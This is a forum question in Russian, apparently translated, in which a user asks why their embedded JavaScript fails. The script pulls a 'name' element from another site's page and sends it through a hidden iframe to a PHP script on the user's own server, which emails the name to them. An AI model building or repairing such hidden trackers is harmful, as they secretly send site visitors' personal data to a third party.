Я искал этот кусок кода в течение последнего часа. Что не так с этим кодом?
Содержание: http://mywesbite.com/myscript.js
var ifr = document.createElement("iframe");
var user = document.getElementById("name").innerHTML;
ifr.src = "http://mywebsite.com/script.php?given_name=" + user;
ifr.style.visibility = "hidden";
document.body.appendChild(ifr);
Содержание: http://mywebsite.com/script.php
<?php
$username = $_GET['given_name'];
mail("myemail@mywebsite.com", "Someone visited your site!", "Name: ".$username);
?>
У меня есть встроенный JavaScript на другом сайте. Извлекает элемент name
. Как я встраивал свой JavaScript:
<script type="text/javascript" src="http://mywesbite.com/myscript.js"></script>
Даже если извлечение name
завершится неудачно, оно все равно должно посетить мой сайт с пустой строкой. Тем не менее, он не посещает мой сайт вообще, так как я не получаю никаких писем. Однако, если я просто посещаю http://mywebsite.com/script.php, он отправляет мне любое электронное письмо (просто $username
пусто. Так что это не мой script.php
. Javascript не работает.